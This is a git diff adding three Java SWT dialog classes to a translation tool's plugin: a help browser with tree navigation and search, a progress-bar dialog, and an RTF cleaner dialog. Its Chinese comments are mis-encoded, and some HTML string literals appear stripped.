+import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.browser.Browser; +import org.eclipse.swt.custom.SashForm; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.TreeAdapter; +import org.eclipse.swt.events.TreeEvent; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeItem; +import org.xml.sax.SAXException; + +/** + * æ’件中的帮助链接对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class PluginHelpDialog extends Dialog { + + private SashForm mainSash; + + private Tree tree; + + private Browser browser; + + private Hashtable hashTable; + + private String currentFilePath; + + private String helpFilePath; + + private FileOutputStream fosSearch; + + private boolean isFound; + + private String title; + + protected PluginHelpDialog(Shell parentShell, String helpFile, String title) { + super(parentShell); + this.helpFilePath = helpFile; + this.title = title; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + if (title == null) { + newShell.setText(Messages.getString("dialog.PluginHelpDialog.title")); + } else { + newShell.setText(title); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().spacing(0, 0).numColumns(1).applyTo(tparent); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(tparent); + + createMenu(); + createToolBar(tparent); + + mainSash = new SashForm(tparent, SWT.NONE); + mainSash.setOrientation(SWT.HORIZONTAL); + GridLayout layout = new GridLayout(1, false); + layout.marginHeight = 0; + layout.marginWidth = 0; + mainSash.setLayout(layout); + mainSash.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.FILL_VERTICAL + | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL)); + + Composite navigation = new Composite(mainSash, SWT.BORDER); + navigation.setLayout(new GridLayout(1, false)); + navigation.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + + tree = new Tree(navigation, SWT.NONE); + tree.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + if (tree.getSelectionCount() > 0) { + TreeItem item = tree.getSelection()[0]; + String url = hashTable.get(item); + if (url != null && !url.equals("")) { + browser.setUrl(url); + browser.update(); + } + } + } + }); + + tree.addTreeListener(new TreeAdapter() { + public void treeCollapsed(TreeEvent e) { + TreeItem item = (TreeItem) e.item; + if (item != null && item.getData() != null) { + if (item.getData().equals("toc")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_TOC_CLOSED).createImage()); + } + if (item.getData().equals("book")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_BOOK_CLOSED).createImage()); + } + } + } + + public void treeExpanded(TreeEvent e) { + TreeItem item = (TreeItem) e.item; + if (item != null && item.getData() != null) { + if (item.getData().equals("toc")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_TOC_OPEN).createImage()); + } + if (item.getData().equals("book")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_BOOK_OPEN).createImage()); + } + } + } + }); + + tree.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + Composite contents = new Composite(mainSash, SWT.BORDER); + contents.setLayout(new GridLayout(1, false)); + contents.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + + browser = new Browser(contents, SWT.NONE); + browser.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + + mainSash.setWeights(new int[] { 30, 70 }); + + hashTable = new Hashtable(); + if (!helpFilePath.equals("")) { + loadTree(helpFilePath); + } + return tparent; + } + + private void createMenu() { + final Menu mainMenu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(mainMenu); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(mainMenu); + MenuItem fileMenuItem = new MenuItem(mainMenu, SWT.CASCADE); + fileMenuItem.setText(Messages.getString("dialog.PluginHelpDialog.fileMenuItem")); + fileMenuItem.setMenu(fileMenu); + + MenuItem openFileItem = new MenuItem(fileMenu, SWT.PUSH); + openFileItem.setText(Messages.getString("dialog.PluginHelpDialog.openFileItem")); + openFileItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.PluginHelpDialog.exitItem")); + exitItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + close(); + } + }); + + MenuItem editMenu = new MenuItem(mainMenu, SWT.CASCADE); + editMenu.setText(Messages.getString("dialog.PluginHelpDialog.editMenu")); + Menu eMenu = new Menu(editMenu); + editMenu.setMenu(eMenu); + + MenuItem searchItem = new MenuItem(eMenu, SWT.PUSH); + searchItem.setText(Messages.getString("dialog.PluginHelpDialog.searchItem")); + searchItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + searchText(); + } + }); + MenuItem goMenu = new MenuItem(mainMenu, SWT.CASCADE); + goMenu.setText(Messages.getString("dialog.PluginHelpDialog.goMenu")); + Menu gMenu = new Menu(goMenu); + goMenu.setMenu(gMenu); + + MenuItem backItem = new MenuItem(gMenu, SWT.PUSH); + backItem.setText(Messages.getString("dialog.PluginHelpDialog.backItem")); + backItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + goBack(); + } + }); + + MenuItem forwardItem = new MenuItem(gMenu, SWT.PUSH); + forwardItem.setText(Messages.getString("dialog.PluginHelpDialog.forwardItem")); + forwardItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + goForward(); + } + }); + + new MenuItem(gMenu, SWT.SEPARATOR); + + MenuItem homeItem = new MenuItem(gMenu, SWT.PUSH); + homeItem.setText(Messages.getString("dialog.PluginHelpDialog.homeItem")); + homeItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + goHome(); + } + }); + + MenuItem helpMenu = new MenuItem(mainMenu, SWT.CASCADE); + helpMenu.setText(Messages.getString("dialog.PluginHelpDialog.helpMenu")); + Menu hMenu = new Menu(helpMenu); + helpMenu.setMenu(hMenu); + + MenuItem aboutItem = new MenuItem(hMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.PluginHelpDialog.aboutItem")); + aboutItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + AboutDialog aboutDialog = new AboutDialog(getShell()); + aboutDialog.open(); + } + }); + } + + /** + * åˆ›å»ºå·¥å…·æ  + * @param parent + * ; + */ + private void createToolBar(Composite parent) { + Composite cmpToolBar = new Composite(parent, SWT.None); + GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(1).applyTo(cmpToolBar); + cmpToolBar.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + ToolBar toolBar = new ToolBar(cmpToolBar, SWT.NO_FOCUS | SWT.FLAT); + + ToolItem openItem = new ToolItem(toolBar, SWT.PUSH | SWT.FLAT); + openItem.setImage(Activator.getImageDescriptor(PluginConstants.HELP_OPEN_FILE).createImage()); //$NON-NLS-1$ + openItem.setToolTipText(Messages.getString("dialog.PluginHelpDialog.openFileItem")); + openItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + + new ToolItem(toolBar, SWT.SEPARATOR); + + ToolItem backItem = new ToolItem(toolBar, SWT.PUSH | SWT.FLAT); + backItem.setImage(Activator.getImageDescriptor(PluginConstants.HELP_BACK).createImage()); + backItem.setToolTipText(Messages.getString("dialog.PluginHelpDialog.backItem")); + backItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + goBack(); + } + }); + + ToolItem forwardItem = new ToolItem(toolBar, SWT.PUSH | SWT.FLAT); + forwardItem.setImage(Activator.getImageDescriptor(PluginConstants.HELP_FORWARD).createImage()); + forwardItem.setToolTipText(Messages.getString("dialog.PluginHelpDialog.forwardItem")); + forwardItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + goForward(); + } + }); + new ToolItem(toolBar, SWT.SEPARATOR); + + ToolItem searchItem = new ToolItem(toolBar, SWT.PUSH | SWT.FLAT); + searchItem.setImage(Activator.getImageDescriptor(PluginConstants.HELP_FIND).createImage()); + searchItem.setToolTipText(Messages.getString("dialog.PluginHelpDialog.searchItem")); //$NON-NLS-1$ + searchItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + searchText(); + } + }); + } + + private void loadTree(String helpFile) { + try { + tree.removeAll(); + hashTable.clear(); + File file = new File(helpFile); + String basePath = ""; + if (!file.isAbsolute()) { + helpFile = file.getCanonicalPath(); + file = new File(helpFile); + } + basePath = file.getParent(); + currentFilePath = helpFile; + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(PluginUtil.getCataloguePath())); + Document document = builder.build(helpFile); + Element root = document.getRootElement(); + TreeItem item = new TreeItem(tree, SWT.NONE); + item.setText(root.getAttributeValue("title")); + getShell().setText(root.getAttributeValue("title")); + recurseTree(root, item, basePath); + item.setExpanded(true); + String url = root.getAttributeValue("url"); + if (!url.equals("")) { + File f = new File(url); + if (!f.exists()) { + url = basePath + "/" + url; + } + browser.setUrl(new File(url).toURI().toURL().toString()); + hashTable.put(item, url); + } + } catch (Exception e) { + + } + } + + private void recurseTree(Element elementParent, TreeItem itemParent, String basePath) throws Exception { + List children = elementParent.getChildren(); + for (int i = 0; i < children.size(); i++) { + Element element = children.get(i); + String url = element.getAttributeValue("url", ""); + TreeItem item = new TreeItem(itemParent, SWT.NONE); + if (url.startsWith(".")) { + // relative path + url = CommonFunction.getAbsolutePath(basePath, url); + } + if (!url.toLowerCase().startsWith("http:")) { + File f = new File(url); + if (!f.exists() || !f.isAbsolute()) { + url = CommonFunction.getAbsolutePath(basePath, url); + } + } + item.setData(element.getName()); + if (element.getName().equals("toc")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_TOC_CLOSED).createImage()); + item.setText(element.getText()); + if (url.startsWith(".")) { + url = CommonFunction.getAbsolutePath(basePath, url); + } + loadToc(item, new File(url).getCanonicalPath()); + } + if (element.getName().equals("book")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_BOOK_CLOSED).createImage()); + item.setText(element.getAttributeValue("title")); + recurseTree(element, item, basePath); + if (!url.equals("")) { + hashTable.put(item, new File(url).toURI().toURL().toString()); + } + } + if (element.getName().equals("item")) { + item.setImage(Activator.getImageDescriptor(PluginConstants.HELP_TOPIC).createImage()); + item.setText(element.getText()); + hashTable.put(item, new File(url).toURI().toURL().toString()); + } + } + } + + private void loadToc(TreeItem itemParent, String tocFile) throws Exception { + File file = new File(tocFile); + String basePath = ""; + if (file.exists()) { + basePath = file.getParent(); + } + + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(PluginUtil.getCataloguePath())); + Document document = builder.build(tocFile); + Element root = document.getRootElement(); + recurseTree(root, itemParent, basePath); + String url = root.getAttributeValue("url"); + if (!url.equals("")) { + File f = new File(url); + if (!f.exists()) { + url = basePath + "/" + url; + } + hashTable.put(itemParent, new File(url).toURI().toURL().toString()); + } + } + + private void openFile() { + FileDialog fileDialog = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.xml", "*.*" }; + String[] filterNames = { Messages.getString("dialog.PluginHelpDialog.filterNames0"), + Messages.getString("dialog.PluginHelpDialog.filterNames1") }; + fileDialog.setFilterExtensions(extensions); + fileDialog.setFilterNames(filterNames); + fileDialog.setFilterPath(System.getProperty("user.home")); + String name = fileDialog.open(); + if (name == null) { + return; + } + File file = new File(name); + getShell().setText(file.getName()); + loadTree(file.getAbsolutePath()); + } + + private void searchText() { + HelpSearchDialog searchDialog = new HelpSearchDialog(getShell()); + if (searchDialog.open() == IDialogConstants.OK_ID) { + String text = searchDialog.getText(); + boolean sensitive = searchDialog.isSensitive(); + if (!sensitive) { + text = text.toLowerCase(); + } + try { + isFound = false; + File f = new File("searchresult.html"); //$NON-NLS-1$ + fosSearch = new FileOutputStream(f); + f.deleteOnExit(); + writeString("\n"); + writeString("\n"); + writeString("" + Messages.getString("dialog.PluginHelpDialog.searchTitle") + "\n"); + writeString("\n"); + writeString("\n"); + + ProgressDialog progressDialog = new ProgressDialog(getShell(), + Messages.getString("dialog.PluginHelpDialog.progressDialogTitle"), + Messages.getString("dialog.PluginHelpDialog.progressMessage"), ProgressDialog.SINGLE_BAR); + progressDialog.open(); + Enumeration keys = hashTable.keys(); + + int count = hashTable.size(); + int i = 0; + while (keys.hasMoreElements()) { + String url = hashTable.get(keys.nextElement()); + String file = url.substring(url.lastIndexOf("/")); //$NON-NLS-1$ + progressDialog.updateProgressMessage(file); + searchFile(url, text, sensitive); + progressDialog.updateProgress((i * 100) / count); + i++; + } + progressDialog.close(); + if (!isFound) { + writeString("

    " + Messages.getString("dialog.PluginHelpDialog.searchNone") + "

    "); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString("\n"); //$NON-NLS-1$ + writeString(""); //$NON-NLS-1$ + fosSearch.close(); + browser.setUrl(f.toURI().toURL().toString()); + } catch (Exception e) { + + } + } + } + + private void searchFile(String file, String text, boolean sensitive) throws SAXException, IOException, + ParserConfigurationException { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(PluginUtil.getCataloguePath())); //$NON-NLS-1$ + if (!file.startsWith("file:")) { //$NON-NLS-1$ + if (!file.startsWith("http:")) { //$NON-NLS-1$ + File f = new File(file); + file = f.toURI().toURL().toString(); + } + } + URL url = new URL(file); + Document doc = builder.build(url); + + Element root = doc.getRootElement(); + searchElement(root, file, text, sensitive); + } + + private void searchElement(Element root, String file, String text, boolean sensitive) + throws UnsupportedEncodingException, IOException { + List children = root.getChildren(); + Iterator it = children.iterator(); + while (it.hasNext()) { + Element e = it.next(); + if (!e.getAttributeValue("id", "").equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String txt = e.getTextNormalize(); + if (!sensitive) { + txt = txt.toLowerCase(); + } + if (txt.indexOf(text) != -1) { + if (e.getName().equals("p") //$NON-NLS-1$ + || e.getName().equals("title") //$NON-NLS-1$ + || e.getName().equals("h1") //$NON-NLS-1$ + || e.getName().equals("h2") //$NON-NLS-1$ + || e.getName().equals("h3") //$NON-NLS-1$ + || e.getName().equals("h4") //$NON-NLS-1$ + || e.getName().equals("h5") //$NON-NLS-1$ + || e.getName().equals("h6")) { //$NON-NLS-1$ + writeString("" + file + ""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + writeString("
    "); //$NON-NLS-1$ + writeString(e.getTextNormalize()); + writeString("
    "); //$NON-NLS-1$ + isFound = true; + } + } + } + searchElement(e, file, text, sensitive); + } + } + + private void writeString(String string) throws UnsupportedEncodingException, IOException { + fosSearch.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + protected void goHome() { + if (currentFilePath != null && !currentFilePath.equals("")) { //$NON-NLS-1$ + loadTree(currentFilePath); + } + } + + protected void goForward() { + browser.forward(); + } + + protected void goBack() { + browser.back(); + } + + class AboutDialog extends Dialog { + + protected AboutDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.PluginHelpDialog.AboutDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Label logo = new Label(tparent, SWT.BORDER); + logo.setImage(Activator.getImageDescriptor(PluginConstants.HELP_SPLASH).createImage()); + + return tparent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmp = parent.getParent(); + parent.dispose(); + cmp.layout(); + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmp = parent.getParent(); + parent.dispose(); + cmp.layout(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ProgressDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ProgressDialog.java new file mode 100644 index 0000000..dca12d0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/ProgressDialog.java @@ -0,0 +1,234 @@ +/* + * Created on 01-dic-2003 + * + * To change the template for this generated file go to + * Window>Preferences>Java>Code Generation>Code and Comments + */ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.ProgressBar; +import org.eclipse.swt.widgets.Shell; + +/** + * @author Gonzalo + * + * To change the template for this generated type comment go to + * Window>Preferences>Java>Code Generation>Code and Comments + */ +public class ProgressDialog { + + public static short NO_BARS = 0; + + public static short SINGLE_BAR = 1; + + public static short DOUBLE_BARS = 2; + + public static short TRIPLE_BARS = 3; + + Shell shell; + + Shell proShell; + + private Label mainLabel; + private ProgressBar mainBar; + + private Label progressLabel; + private ProgressBar progressBar; + + private Label thirdLabel; + private ProgressBar thirdBar; + + private Display display; + + private Label titleLabel; + + public ProgressDialog(Shell currentShell, String title, + String progressMessage, short style) { + + display = currentShell.getDisplay(); + + proShell = new Shell(display, SWT.BORDER | SWT.APPLICATION_MODAL | SWT.NO_TRIM); + proShell.setCursor(new Cursor(proShell.getDisplay(), SWT.CURSOR_WAIT)); + proShell.setLayout(new GridLayout()); + Point location = currentShell.getLocation(); + Point size = currentShell.getSize(); + location.x = location.x + size.x/3; + location.y = location.y + size.y/3; + proShell.setLocation(location); + + shell = currentShell; + shell.setCursor(new Cursor(proShell.getDisplay(), SWT.CURSOR_WAIT)); + + Composite holder = new Composite(proShell,SWT.BORDER); + holder.setLayout(new GridLayout()); + holder.setLayoutData(new GridData(GridData.FILL_HORIZONTAL|GridData.GRAB_HORIZONTAL)); + + titleLabel = new Label(holder, SWT.BOLD); + titleLabel.setText(title); + titleLabel.setBackground(new Color(display,0x52,0x81,0x83)); // dull green + titleLabel.setForeground(new Color(display,0xFF,0xFF,0xFF)); // white + titleLabel.setLayoutData(new GridData(GridData.FILL_HORIZONTAL|GridData.GRAB_HORIZONTAL)); + + if (style > DOUBLE_BARS) { + thirdLabel = new Label(holder, SWT.NONE); + GridData data = new GridData(GridData.GRAB_HORIZONTAL + | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + thirdLabel.setLayoutData(data); + thirdLabel.setText(progressMessage); + + thirdBar = new ProgressBar(holder, SWT.NONE); + data = new GridData(GridData.GRAB_HORIZONTAL + | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + thirdBar.setLayoutData(data); + thirdBar.setMinimum(0); + thirdBar.setMaximum(100); + } + + if (style > SINGLE_BAR) { + mainLabel = new Label(holder, SWT.NONE); + GridData data = new GridData(GridData.GRAB_HORIZONTAL + | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + mainLabel.setLayoutData(data); + if (style == 2){ + mainLabel.setText(progressMessage); + } + + mainBar = new ProgressBar(holder, SWT.NONE); + data = new GridData(GridData.GRAB_HORIZONTAL + | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + mainBar.setLayoutData(data); + mainBar.setMinimum(0); + mainBar.setMaximum(100); + } + + progressLabel = new Label(holder, SWT.NONE); + GridData data = new GridData(GridData.GRAB_HORIZONTAL + | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + progressLabel.setLayoutData(data); + progressLabel.setText(progressMessage); + + if ( style != NO_BARS) { + progressBar = new ProgressBar(holder, SWT.NONE); + data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + data.widthHint = 200; + progressBar.setLayoutData(data); + progressBar.setMinimum(0); + progressBar.setMaximum(100); + } + proShell.pack(); + } + + public void open() { + proShell.open(); + display.update(); + } + + public void updateMain(int value) { + mainBar.setSelection(value); + mainBar.setToolTipText(Integer.toString(mainBar.getSelection()) + "%"); //$NON-NLS-1$ + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateProgress(int value) { + progressBar.setSelection(value); + progressBar.setToolTipText(Integer.toString(progressBar.getSelection()) + "%"); //$NON-NLS-1$ + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateProgressMessage(String message) { + progressLabel.setText(message); + shell.layout(); + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateThirdProgress(int value) { + thirdBar.setSelection(value); + thirdBar.setToolTipText(Integer.toString(thirdBar.getSelection()) + "%"); //$NON-NLS-1$ + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateThirdMessage(String message) { + thirdLabel.setText(message); + shell.layout(); + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateMainMessage(String message) { + mainLabel.setText(message); + shell.layout(); + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateTitle(String message) { + titleLabel.setText(message); + shell.layout(); + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + public void updateProgress(int value, String message) { + progressBar.setSelection(value); + progressLabel.setText(message); + display.update(); + while (display.readAndDispatch()) { + // do nothing + } + } + + + public void showFinish(String finishMessage) { + progressLabel.setText(finishMessage); + shell.layout(); + display.update(); + shell.setCursor(new Cursor(proShell.getDisplay(), SWT.CURSOR_ARROW)); + proShell.setCursor(new Cursor(proShell.getDisplay(), SWT.CURSOR_ARROW)); + } + + public void close() { + shell.setCursor(new Cursor(proShell.getDisplay(), SWT.CURSOR_ARROW)); + proShell.close(); + proShell.dispose(); + } + + public boolean isDisposed() { + return proShell.isDisposed(); + } + + public Shell getShell() { + return proShell; + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/RTFCleanerDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/RTFCleanerDialog.java new file mode 100644 index 0000000..d36f846 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/RTFCleanerDialog.java @@ -0,0 +1,198 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.File; +import java.text.MessageFormat; +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.ts.ui.plugin.AboutComposite; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; +import net.heartsome.cat.ts.ui.plugin.util.RTFCleaner; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; + +/** + * RTFCleaner 对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFCleanerDialog extends Dialog { + + /** Logo 图片路径 */ + private String imagePath; + + /** + * 构造方法 + * @param parentShell + */ + public RTFCleanerDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.RTFCleanerDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_RTFCLEANER_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(230, 330).grab(true, true).applyTo(tparent); + + createMenu(); + createToolBar(tparent); + Composite cmpAbout = new Composite(tparent, SWT.None); + cmpAbout.setLayout(new GridLayout()); + cmpAbout.setLayoutData(new GridData(GridData.FILL_BOTH)); + new AboutComposite(cmpAbout, SWT.BORDER, Messages.getString("dialog.RTFCleanerDialog.aboutName"), imagePath, + Messages.getString("dialog.RTFCleanerDialog.aboutVersion")); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + /** + * 创建èœå• ; + */ + private void createMenu() { + Menu menu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menu); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(menu); + MenuItem fileItem = new MenuItem(menu, SWT.CASCADE); + fileItem.setMenu(fileMenu); + fileItem.setText(Messages.getString("dialog.RTFCleanerDialog.fileMenu")); + + MenuItem addStylesItem = new MenuItem(fileMenu, SWT.PUSH); + addStylesItem.setText(Messages.getString("dialog.RTFCleanerDialog.addStylesItem")); + addStylesItem.setImage(new Image(Display.getDefault(), PluginUtil + .getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH))); + addStylesItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + handleFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + new MenuItem(fileMenu, SWT.SEPARATOR); + + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.RTFCleanerDialog.exitItem")); + exitItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + close(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * åˆ›å»ºå·¥å…·æ  + * @param parent + * 父控件 + */ + private void createToolBar(Composite parent) { + ToolBar toolBar = new ToolBar(parent, SWT.NO_FOCUS | SWT.None); + toolBar.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + ToolItem addStyleItem = new ToolItem(toolBar, SWT.PUSH); + addStyleItem.setToolTipText(Messages.getString("dialog.RTFCleanerDialog.addStyleItem")); + addStyleItem.setImage(new Image(Display.getDefault(), PluginUtil + .getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH))); + addStyleItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + handleFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * å¤„ç† RTF 文件 ; + */ + private void handleFile() { + FileDialog dialog = new FileDialog(getShell(), SWT.MULTI); + dialog.setText(Messages.getString("dialog.RTFCleanerDialog.dialogTitle")); + String[] extensions = { "*.rtf", "*" }; + String[] filters = { Messages.getString("dialog.RTFCleanerDialog.filters1"), + Messages.getString("dialog.RTFCleanerDialog.filters2") }; + dialog.setFilterExtensions(extensions); + dialog.setFilterNames(filters); + dialog.setFilterPath(System.getProperty("user.home")); + dialog.open(); + String[] arrSource = dialog.getFileNames(); + if (arrSource == null || arrSource.length == 0) { + return; + } + int errors = 0; + for (int i = 0; i < arrSource.length; i++) { + File f = new File(dialog.getFilterPath() + System.getProperty("file.separator") + arrSource[i]); //$NON-NLS-1$ + Hashtable params = new Hashtable(); + params.put("source", f.getAbsolutePath()); //$NON-NLS-1$ + params.put("output", f.getAbsolutePath()); //$NON-NLS-1$ + + Vector result = RTFCleaner.run(params); + + if (!"0".equals(result.get(0))) { //$NON-NLS-1$ + String msg = MessageFormat.format(Messages.getString("dialog.RTFCleanerDialog.msg1"), arrSource[i]) + + (String) result.get(1); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.RTFCleanerDialog.msgTitle"), msg); + errors++; + } + } + if (errors < arrSource.length) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.RTFCleanerDialog.msgTitle"), + Messages.getString("dialog.RTFCleanerDialog.msg2")); + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmp = parent.getParent(); + parent.dispose(); + cmp.layout(); + } +} diff --git 